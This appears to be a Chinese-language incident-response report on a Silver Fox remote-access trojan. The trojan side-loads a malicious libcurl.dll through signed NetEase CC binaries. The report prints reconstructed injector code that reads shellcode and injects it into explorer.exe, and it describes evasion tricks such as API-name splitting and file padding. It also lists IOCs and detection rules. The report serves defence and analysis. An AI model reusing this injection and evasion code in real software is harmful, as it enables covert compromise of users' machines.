一、背景与事件缘起
2026 年 6 月 2 日,我们在一次刚接手的安全运营项目中,收到了来自深信服 EDR 的告警。告警信息显示,内网一台终端存在异常外联行为,访问的域名是 v2.egrfbumsu.cn。我们把这条域名丢进威胁情报平台做了关联,结果显示该域名与近期活跃的银狐远控团伙存在强关联。
EDR 捕获的外联告警,目标域名 v2.egrfbumsu.cn
该域名在情报平台被标记为银狐远控
这里需要先说明一下背景。这个项目是我们团队近期刚接手的安全运营驻场。接手之后,我们做的第一件事就是重新梳理了全网 EDR 和天擎的历史告警,把过去半年里所有被忽略或处置不彻底的异常行为全部翻出来做二次复核。也正是因为这个动作,才让这个已经潜伏了将近一年的异常行为重新浮出水面。
顺着这条时间线往前翻,我们在 360 天擎的日志里找到了更早的查杀记录。
最早的一条可以追溯到 2025 年 6 月 23 日 13:41:02,天擎在当时查杀了一个名为 bb.jpg 的文件。但这个文件已经被清理掉了,现场没有留存样本,导致我们后续无法对 bb.jpg 做更深入的逆向分析,这是一个比较遗憾的断点。
2025 年 6 月 23 日天擎对 bb.jpg 的查杀日志,文件已被清理,无法取样
再往后看,从 2025 年 10 月 31 日 19:23:21 开始,天擎持续对 libcurl.dll 发起查杀,而且查杀频率很高。
2025 年 10 月底起,天擎开始高频查杀 libcurl.dll,说明该文件在终端上长期存在且反复被触发
这两组日志给了我们一个初步的时间轮廓:攻击者至少在 2025 年 6 月就已经完成了初次投递,中间经历了 bb.jpg 被清理、libcurl.dll 持续被查杀但未被根除的过程,直到 2026 年 6 月我们接手项目后才通过 EDR 外联告警把整个链条串起来。这个案例也提醒我们,安全运营交接期往往是风险暴露的关键窗口,前任服务商的处置记录、漏报原因、未闭环事件,必须作为新团队入驻后的首要排查项。
二、样本发现与现场取证
拿到告警后,我们第一时间登录受影响终端,准备对现场进行保全。根据 EDR 和天擎的查杀路径,样本主要落在 C:\ProgramData\ 目录下。但当我们直接打开该目录时,发现里面并没有看到明显的可疑文件,只有一些正常的系统文件夹。
这里涉及一个 Windows 取证的基础知识点。C:\ProgramData\ 是 Windows 系统的全局应用数据目录,默认对所有用户可见,但攻击者往往会利用文件隐藏属性来躲避人工排查。 如果资源管理器的查看选项没有开启"显示隐藏的文件、文件夹和驱动器",那么这些被设置了隐藏属性的恶意目录和文件是不会显示出来的。
开启"显示隐藏的文件、文件夹和驱动器"是现场取证的第一步
开启显示隐藏项之后,C:\ProgramData\ 下的真实面貌才暴露出来。我们在该目录下发现了多个由随机字符串命名的文件夹,比如 E40BZq、fjBBSU、ilYnip、lNZzgF、K5QDGM、rIW0P5、ydDvwY、YrUekB、ZhS1Bu 等。这些命名没有任何语义规律,目的是增加排查难度,避免被管理员一眼识别。
开启隐藏文件显示后,ProgramData 根目录下出现大量随机命名文件夹,均为同一批次投递的恶意组件
进入其中一个随机字符串文件夹,可以看到里面的文件结构高度一致,通常包含以下几类文件:
- 一个随机命名的
.exe 文件(如 E40BZq.exe)
- 一个同名的
.lnk 快捷方式文件(如 E40BZq.lnk)
yjwj_patcher.exe(网易 CC 合法组件,被滥用)
yjwj_patcher.zip(投递容器)
libcurl.dll(核心恶意载荷,体积异常大)
- 偶尔还会出现
kernelquick.sys 等标记文件
每个随机文件夹内的组件构成基本一致,包含白文件、恶意 DLL、引导快捷方式和投递压缩包
需要注意的是,与 libcurl.dll 配套的一阶 shellcode 文件 bb.jpg(路径为 C:\Users\Public\Downloads\bb.jpg)在机器上已经找不到了。结合天擎 2025 年 6 月的查杀记录,我们判断 bb.jpg 早已被安全软件清理,这也导致我们在静态分析阶段缺少了一阶 shellcode 的原始样本,只能依靠 libcurl.dll 的逆向逻辑来推断 bb.jpg 曾经的角色。
三、逆向分析
3.1 攻击链全景概述
把现场提取的样本全部去重后,核心组件可以归纳为三类:两个带有合法数字签名的网易 CC 白文件、一个体积异常的恶意 libcurl.dll,以及一批用于引导启动的 .lnk 快捷方式。这三类组件配合起来,构成了一次非常典型的 DLL 侧加载白加黑攻击。
攻击者的整体思路是这样的:
- 利用
.lnk 快捷方式引导用户(或系统)启动随机命名的 .exe,这个 .exe 实际上是网易 CC 的合法更新程序 yjwj_updater.exe(白文件 #1)。
yjwj_updater.exe 运行后,会按照自身的更新逻辑去释放同目录下的 yjwj_patcher.zip,解压出另一个合法组件 yjwj_patcher.exe(白文件 #2)以及被替换的恶意 libcurl.dll。
yjwj_updater.exe 接着通过 ShellExecuteEx 以 runas 方式提权拉起 yjwj_patcher.exe。
yjwj_patcher.exe 启动时需要加载 libcurl.dll。由于 Windows 的 DLL 搜索顺序优先当前目录,yjwj_patcher.exe 在同目录下加载到的不是系统正常的 libcurl.dll,而是攻击者替换的恶意版本。
- 恶意
libcurl.dll 在 DllMain 的 DLL_PROCESS_ATTACH 阶段直接执行注入逻辑,读取 bb.jpg 或注册表中的 shellcode,然后对 explorer.exe 实施远程线程注入。
从 LNK 引导落地到最终注入 explorer.exe 的完整攻击链,体现了白加黑、UAC 提权、DLL 劫持、远程线程注入四个关键阶段
外层白文件 #1 负责解压 zip、检查进程冲突、并通过 runas 提权拉起白文件 #2
恶意 DLL 在 DllMain 阶段完成 shellcode 读取、API 动态拼接和远程线程注入
这个链条的精妙之处在于,两个白文件本身都是网易 CC 的合法签名程序,具有正常的数字签名和商业信任基础。杀软看到签名正常的网易程序在运行,往往不会直接拦截;而恶意逻辑全部藏在 libcurl.dll 的 DllMain 里,在 PE Loader 加载 DLL 的瞬间就已经执行完毕,不需要等待任何导出函数被显式调用。
3.2 外层投递链与 UAC 提权
我们重点看一下 yjwj_updater.exe(白文件 #1)的投递逻辑。这个程序原本是网易 CC 用于更新补丁的合法工具,攻击者并没有修改它的代码,而是把它连同恶意 libcurl.dll 一起打包投递到目标机器上,让它在不知情的情况下成为恶意链条的启动器。
白文件 #1 的主流程可以分为五个阶段:
第一阶段:环境初始化。 程序启动后设置本地化信息、加载字符串资源、生成日志文件名,并建立一个对话框窗体。如果用户点击取消,程序会调用"提权启动函数"并以 noselfupdate 参数重新拉起自身,这是合法更新器"放弃自更新继续启动"的原有语义,攻击者没有改动这部分逻辑。
第二阶段:路径生成与 zip 定位。 程序通过 GetModuleFileNameA 获取自身所在目录,然后拼接出 yjwj_patcher.exe 和 yjwj_updater.exe 的目标路径。如果当前目录下没有找到 yjwj_patcher.zip,程序会读取 LOCALAPPDATA 环境变量(失败则回退到 APPDATA),并拼接出一条 UAC 虚拟存储兜底路径:%LOCALAPPDATA%\VirtualStore\ProgramData\<随机目录>\yjwj_patcher.zip。这个机制是 Windows Vista 之后为兼容旧程序而设计的虚拟化路径,攻击者利用它把 zip 放在 VirtualStore 下也能触发同一条释放链。
第三阶段:同类进程检查。 程序枚举系统进程,如果发现 yjwj_updater.exe 已经在运行则直接退出;如果 yjwj_patcher.exe 在运行则循环等待。这是为了避免更新过程中出现进程冲突。
第四阶段:解压释放。 程序调用基于 Gilles Vollant unzip 0.15 和 zlib inflate 1.1.3 的解压函数,把 yjwj_patcher.zip 解压到当前目录。解压前会先清除目标文件的只读属性,确保覆盖成功。
第五阶段:提权启动。 这是最关键的一步。程序通过 VerifyVersionInfoA 判断当前 Windows 版本,如果主版本号大于等于 6(即 Vista/7/8/10/11),则默认走 UAC 提权路径:
VersionInformation.dwMajorVersion = 6;
mask = VerSetConditionMask(0, 2, 3); // 检查 MajorVersion >= 6
if (VerifyVersionInfoA(&VersionInformation, 2, mask)) {
// Vista 及以上默认走 UAC 提权
pExecInfo.lpVerb = "runas";
pExecInfo.lpFile = "...\yjwj_patcher.exe";
pExecInfo.lpParameters = lpParameters; // "9633" 或 " 9633 noselfupdate"
pExecInfo.nShow = 1;
ShellExecuteExA(&pExecInfo);
} else {
// XP 或更低 → 直接 CreateProcess
CreateProcessA(file, cmdline, ..., &si, &pi);
}
这意味着在现代 Windows 系统上,恶意 libcurl.dll 永远是以 High Integrity(管理员权限)运行的,二阶 shellcode 起手就拥有管理员权限,后续无论是做持久化、读敏感注册表还是横向移动,权限门槛都被直接抹平了。
3.3 恶意 libcurl.dll 的 PE 伪装与反沙箱手法
提取出来的 libcurl.dll 是这次攻击的核心恶意载荷。它有几个非常反常的 PE 特征,值得我们逐条拆解。
首先是体积异常。 这个 DLL 的文件大小为 439,153,152 字节(约 419 MB),但真实的代码和数据段加起来不到 10 MB,其余约 409 MB 全部是 0 字节填充。这种 padding 的目的很明确:绕过沙箱和云查杀的大文件扫描截断。很多自动化分析平台对超过 100 MB 的文件会直接跳过深度扫描或只做表面检测,攻击者利用这一点把恶意代码藏在一个"臃肿"的文件里,让自动化引擎"懒得"细究。
| 字段 |
值 |
说明 |
| Magic / Machine |
PE32+ / 0x8664 |
64 位 PE 文件 |
| TimeDateStamp |
0x681B13D4 |
对应 2025-05-07 |
| LinkerVersion |
14.29 |
MSVC 2019/2022 工具链 |
| ImageBase |
0x180000000 |
典型 64 位 DLL 基址 |
| SizeOfImage |
0x1A2D5000 |
约 419 MB |
| Certificate Table |
RVA=0 / Size=0 |
无 Authenticode 签名 |
| .text 节区 |
0x9E000 |
真实代码段 |
| .rdata 节区 |
0x1A225C98 |
约 437 MB,含大量 padding |
其次是导出表的精准伪装。 这个 DLL 的导出表完整复刻了官方 libcurl 的 ABI,包含 85 个 curl_* 符号,ordinal 顺序和命名都与官方一致。但每一个导出函数的实现只有 3 个字节:
; curl_easy_init(地址 0x18009B0A0)
xor eax, eax
ret
; curl_easy_setopt(地址 0x18009B010)
xor eax, eax
ret
; curl_easy_perform(地址 0x18009B050)
xor eax, eax
ret
这些 stub 的唯一作用是满足白文件 #2(yjwj_patcher.exe)的导入链接需求,让程序能够正常启动。真正的恶意逻辑全部藏在 DllMain 里,在 DLL_PROCESS_ATTACH 阶段就一次性执行完毕,根本不需要任何导出函数被显式调用。
最后是导入表暴露的真实意图。 虽然导出表伪装成网络库,但导入表完全没有 ws2_32、wininet、schannel、wldap32、iphlpapi 等任何网络相关 API。相反,它大量导入了以下关键函数:
- 注册表操作:
RegOpenKeyExA、RegQueryValueExA、RegEnumValueA
- 进程操作:
CreateProcessW、CreateToolhelp32Snapshot、Process32FirstW、Process32NextW
- 内存操作:
VirtualAllocEx、WriteProcessMemory
- 路径解析:
SHGetKnownFolderPath
- 动态加载:
GetProcAddress
这组 API 组合几乎就是在明牌告诉你:我要读注册表、我要枚举进程、我要往别的进程里写内存。但因为它藏在合法签名的网易进程内部,杀软的行为链很难在第一时间把它判定为恶意。
3.4 注入主函数与远程线程注入
DllMain 的代码非常简洁,一旦检测到 DLL_PROCESS_ATTACH,直接调用注入主函数 injector_main(地址 0x18009B0F0)。我们结合静态分析和符号还原,把它的核心逻辑梳理如下:
void injector_main(void) {
BYTE *Block = NULL;
DWORD blockSize = 0;
wchar_t pathBuf[MAX];
HKEY hKey;
PROCESS_INFORMATION pi = {0};
STARTUPINFOW si = { .cb = sizeof(si) };
// [1] 优先从 C:\Users\Public\Downloads\bb.jpg 读取一阶 shellcode
get_public_downloads_path(pathBuf); // SHGetKnownFolderPath(FOLDERID_PublicDownloads)
if (last_wchar(pathBuf) != L'\\')
wcscat(pathBuf, L"\\");
wcscat(pathBuf, L"bb.jpg");
if (read_file_to_buffer(pathBuf, &Block, &blockSize)) {
goto INJECT;
}
// [2] 回退:HKCU\Console 下名称含 "hrqnmlb" 的注册表值
if (!RegOpenKeyExA(HKEY_CURRENT_USER, "Console", 0, KEY_READ, &hKey)) {
char valueName[320];
DWORD nameLen = 260, idx = 0;
if (!RegEnumValueA(hKey, 0, valueName, &nameLen, NULL, NULL, NULL, NULL)) {
do {
if (strstr(valueName, "hrqnmlb")) {
if (read_registry_value(hKey, valueName, &Block, &blockSize))
break;
}
nameLen = 260;
++idx;
} while (!RegEnumValueA(hKey, idx, valueName, &nameLen, NULL, NULL, NULL, NULL));
}
RegCloseKey(hKey);
}
INJECT:
// [3] 动态拼接 4 个敏感 API 名(防特征)
HMODULE k32 = GetModuleHandleA("Kernel32.dll");
char procName[24];
memcpy(procName, "CreateRemoteThre", 16); strcpy(procName+16, "ad");
void *pCreateRemoteThread = GetProcAddress(k32, procName);
char wpmName[24];
memcpy(wpmName, "WriteProcessMemo", 16); strcpy(wpmName+16, "ry");
void *pWriteProcessMemory = GetProcAddress(k32, wpmName);
void *pVirtualAllocEx = GetProcAddress(k32, "VirtualAllocEx");
char vehName[32];
memcpy(vehName, "AddVectoredExcep", 16); strcpy(vehName+16, "tionHandler");
void *pAddVEH = GetProcAddress(k32, vehName);
// [4] 注册 VEH(回调本体是 stub,用于占位/反调试)
pAddVEH(0, veh_stub);
// [5] 挂起启动 explorer.exe
wchar_t cmd[64];
wcscpy(cmd, L"C:\\Windows\\explorer.exe");
CreateProcessW(NULL, cmd, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
NULL, NULL, &si, &pi);
// [6] 写入并创建远程线程
void *remote = pVirtualAllocEx(pi.hProcess, NULL, blockSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
pWriteProcessMemory(pi.hProcess, remote, Block, blockSize, NULL);
pCreateRemoteThread(pi.hProcess, NULL, 0, remote, remote, 0, NULL);
CloseHandle(pi.hProcess);
free(Block);
}
这段代码有几个值得注意的技术点:
第一,双通道 shellcode 读取。 优先读取 C:\Users\Public\Downloads\bb.jpg,失败则回退到注册表 HKCU\Console 下名称包含 hrqnmlb 的 value。bb.jpg 已经被天擎清理,但注册表回退通道是否仍然存在,需要现场逐一排查。这也解释了为什么天擎反复查杀 libcurl.dll 却杀不干净:因为一阶 shellcode 可能已经从 bb.jpg 转移到了注册表里,libcurl.dll 每次被重新释放后都能从注册表重新读取 payload 并再次注入。
第二,API 名称的 16+N 字节拆分。 CreateRemoteThread、WriteProcessMemory、AddVectoredExceptionHandler 这三个敏感 API 的名称被拆分成 16 字节常量 + 尾部短字符串的形式存储在 .rdata 段,运行时再通过 strcpy 拼接。这是为了对抗静态字符串特征匹配,让 YARA 规则或杀软的字符串扫描无法直接命中完整 API 名。
| 16 字节常量(hex / ASCII) |
拼接尾段 |
完整 API |
| 43 72 65 61 74 65 52 65 6D 6F 74 65 54 68 72 65 / CreateRemoteThre |
ad |
CreateRemoteThread |
| 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F / WriteProcessMemo |
ry |
WriteProcessMemory |
| 41 64 64 56 65 63 74 6F 72 65 64 45 78 63 65 70 / AddVectoredExcep |
tionHandler |
AddVectoredExceptionHandler |
第三,VEH 占位。 AddVectoredExceptionHandler(0, veh_stub) 注册的异常处理回调本身只是一个 return 0(EXCEPTION_CONTINUE_SEARCH)的 stub。它的作用可能是为后续二阶 shellcode 的异常处理打基础,也可能是作为反调试干扰项,让分析人员误以为这里有复杂的异常处理逻辑。
第四,explorer.exe 作为注入宿主。 选择 explorer.exe 而不是其他进程,一方面是因为它是系统核心进程,长期存活且拥有正常网络访问权限;另一方面是因为用户桌面上的正常操作都会经过 explorer,二阶 shellcode 在这里运行可以最大程度地混淆视听。
3.5 关于 C2 通信的澄清
在分析过程中,我们在白文件 #2(yjwj_patcher.exe,即网易 CC 的 CrashReporter)内部发现了一些网络字符串,包括 http://query.cc.163.com/、http://vision.cc.163.com/upload/token/、Authorization:、Content-Type:application/json; charset=utf-8 等。需要特别澄清的是,这些字符串全部来自网易 CC 客户端自身的崩溃 dump 上报功能,是网易的合法业务流量,不应被当作 C2 IOC 处置。如果直接封禁这些域名,会影响正常网易 CC 用户的使用。
真正的 C2 通信由二阶 shellcode 在 explorer.exe 进程内承担。由于本次仅静态采集到了注入器(libcurl.dll),并未成功捕获 bb.jpg 或注册表中的实际 payload,因此 C2 地址、通信协议、心跳频率等细节无法从当前样本包中直接获取,需要在感染主机的内存中提取或通过网络流量回溯来补充。
四、清除与闭环处置
基于上述分析,我们制定了以下清除方案,并在客户现场完成了闭环处置。
4.1 终端隔离与网络限制
在不影响核心业务连续性的前提下,对受影响终端实施了最小化网络访问控制。优先限制其访问互联网、共享目录、网盘、邮件附件下载通道及非必要业务系统,防止二阶 shellcode 继续下载后续模块或外泄数据。
4.2 现场清理
重点清理以下路径的恶意文件:
C:\ProgramData\<随机目录>\ 下的全部可疑组件(.exe、.lnk、.dll、.zip)
%LOCALAPPDATA%\VirtualStore\ProgramData\<随机目录>\yjwj_patcher.zip
C:\Users\Public\Downloads\bb.jpg(如存在残留)
- 同名变体、复制落地或伪装文件
清理时需要注意,libcurl.dll 的文件名与正常系统库相同,但体积(419 MB)和路径(ProgramData 子目录)是明显的异常指标,可作为快速识别依据。
4.3 注册表深度排查
由于 libcurl.dll 支持从注册表读取回退 payload,必须对 HKEY_CURRENT_USER\Console 下的所有 value 名称进行逐一排查,任何包含子串 hrqnmlb 的条目都应被视为感染指标并删除。同时排查是否存在异常的计划任务、启动项、Winlogon 钩子或 UserInitMprLogonScript 劫持。
4.4 全盘 EDR 深度扫描
下发 EDR 深度扫描任务,重点检查以下内容:
explorer.exe 是否存在异常内存注入痕迹
- 是否存在
yjwj_updater.exe 或 yjwj_patcher.exe 从 ProgramData 路径加载体积大于 50 MB 的 libcurl.dll
- 是否存在
CreateRemoteThread / WriteProcessMemory / VirtualAllocEx 的经典注入行为链
- 是否存在对
SHGetKnownFolderPath(FOLDERID_PublicDownloads) 的异常调用后拼接 bb.jpg 的行为
4.5 安全意识培训
本次攻击的初始入口,大概率是用户从非官方渠道下载了被篡改的"网易 CC 直播客户端"或相关插件。我们在处置完成后,向客户提交了专项安全意识培训建议:
- 严禁从非官方网站、网盘、论坛、社交群下载"极速版""绿化版""破解版"等软件
- 对于必须安装的软件,提供官方发布的哈希值供员工校验
- 财务、运营等敏感岗位人员应接受专项钓鱼和社工防范培训
五、总结与防御建议
5.1 银狐木马的演进趋势
结合本次案例和近期威胁情报,银狐团伙(亦称"游蛇"黑产)在 2025 年至 2026 年期间的技战术呈现出几个明显的演进方向:
白加黑手法持续进化。 早期银狐多使用简单的 DLL 劫持,现在则倾向于挑选带有合法数字签名的知名软件(如网易 CC、美图秀秀、向日葵、钉钉等)作为白文件,把恶意 DLL 伪装成这些软件的正常依赖库。由于白文件本身合法,传统基于签名的白名单机制很难拦截。
反沙箱与反分析手段升级。 本次样本采用的 419 MB 零字节 padding 是一种典型的"文件膨胀"绕过手法。根据公开情报,银狐团伙已多次使用超过 100 MB 的填充来绕过云沙箱的静态扫描截断。
载荷投递渠道多样化。 除了传统的图片隐写(bb.jpg),银狐团伙还会将 shellcode 藏在注册表、云笔记平台、阿里云 OSS 等位置,实现"无文件"或"低文件"落地,增加取证和溯源难度。
横向扩散策略精准化。 银狐不再是无差别撒网,而是会根据目标机器上是否安装了微信、钉钉、Telegram 等社交工具来触发不同的后续载荷。如果检测到这些进程,会释放专门用于操控社交账号的远控模块,进而通过被入侵账号向同事、客户发送恶意文件或诈骗信息,实现内网的高效扩散。
5.2 对企业安全运营的启示
不要过度依赖静态签名。 本次案例中的两个白文件都带有合法签名,如果安全策略仅以"是否有签名"作为放行依据,就会给白加黑攻击留下巨大的绕过空间。防御方需要更多关注行为检测:一个合法签名的程序为什么会从 ProgramData 加载一个 419 MB 的 DLL?为什么这个 DLL 会调用 VirtualAllocEx 和 CreateRemoteThread?这些行为特征比签名状态更能说明问题。
重视交接期的历史告警复盘。 这个案例最值得我们反思的是时间线:2025 年 6 月的告警被清理了文件但没有做根因分析,2025 年 10 月的持续查杀也没有引起足够重视,直到 2026 年 6 月我们接手后才通过 EDR 外联告警把整条链串起来。安全运营不是只看当天的告警,而是要把过去 180 天甚至 360 天的告警做关联回溯,找出那些"被杀了但没落盘"的断点事件。
终端防护需要联动。 360 天擎在 2025 年就反复查杀了 libcurl.dll,但因为没有联动 EDR 的行为分析和网络监控,攻击者只需要换个目录重新释放就能继续运行。单点防护产品容易被逐个击破,只有终端杀软、EDR、NDR、威胁情报形成联动,才能覆盖从落地、提权、注入到外联的完整攻击链。
注册表和内存是新的战场。 当文件层面的 IOC 越来越容易被清理时,攻击者自然会转向注册表和内存。本次样本的注册表回退通道(HKCU\Console\hrqnmlb)就是一个典型例子。企业在日常巡检中,除了查文件,还需要建立注册表基线扫描和内存异常注入的检测能力。
最后想说的是,银狐这类黑产团伙的攻击成本其实并不高,他们用的是公开的工具链、现成的白文件和简单的 DLL 劫持技巧。但正是这种"低成本、高回报"的攻击模式,让它能在国内持续活跃两年多。防御方不需要追求什么高大上的黑科技,把基础的入口管控、行为监测、告警闭环和人员培训做好,就能让攻击者的成本大幅上升,从而放弃你的目标。
如果您在日常安全运营中遇到类似的疑点,或需要专业的应急支撑,欢迎随时与 Solar 应急响应团队交流探讨。
附录:核心 IOC 汇总
| 文件名 |
类型 |
大小 |
SHA256 |
说明 |
| E40BZq.exe 等随机名 |
exe |
290.5 KB |
3b94a5d1342d68a316cb696597ceb3be02103d3c94b763bc688aacfc3d3f14f5 |
白文件 #1(yjwj_updater.exe) |
| yjwj_patcher.exe |
exe |
2708.5 KB |
d59b88ad84ba8853f423ebdd59afd656c27a7be9dd1e4825c6f85587b82f1005 |
白文件 #2(CrashReporter) |
| libcurl.dll |
dll |
439153152 |
6A46E4C5DE23FD904EF19130526016C7B38586F9BA136CF2B8318D1F41BB30D6 |
核心恶意载荷 |
| yjwj_patcher.zip |
zip |
1959.62 KB |
2b68aaf3d7428d1f0bd9345372d547b065d5fabeba0c1bdb9e48045cf43d5ffd |
投递容器 |
| kernelquick.sys |
sys |
30 字节 |
6b4bbbce480fbc50d39a8ec4b72cdb7d781b151921e063dd899fd9b736adcf68 |
路径标记文件(非驱动) |
| bb.jpg |
jpg |
— |
— |
一阶 shellcode(已被清理) |
| 随机名 .lnk |
lnk |
0.75 KB |
多个 |
启动引导,Tracker 含攻击者机器 NetBIOS 名 sql-nboepublic2 |
检测规则建议
- 父进程
yjwj_updater.exe 从 C:\ProgramData\ 路径拉起子进程 yjwj_patcher.exe
yjwj_patcher.exe 加载未签名的 libcurl.dll 且模块大小超过 50 MB
- 任意进程对
explorer.exe 调用 VirtualAllocEx(PAGE_EXECUTE_READWRITE) 后紧跟 WriteProcessMemory 和 CreateRemoteThread
- 进程内存中出现拼接后的字符串
CreateRemoteThread、WriteProcessMemory、AddVectoredExceptionHandler
- 注册表
HKCU\Console 下出现名称包含 hrqnmlb 的 value
本文案例由Solar应急响应团队共同完成。
全文输出:州弟学安全
参与应急排查应急及内容输出:butt3rf1y**、CHQ**
逆向分析:CHQ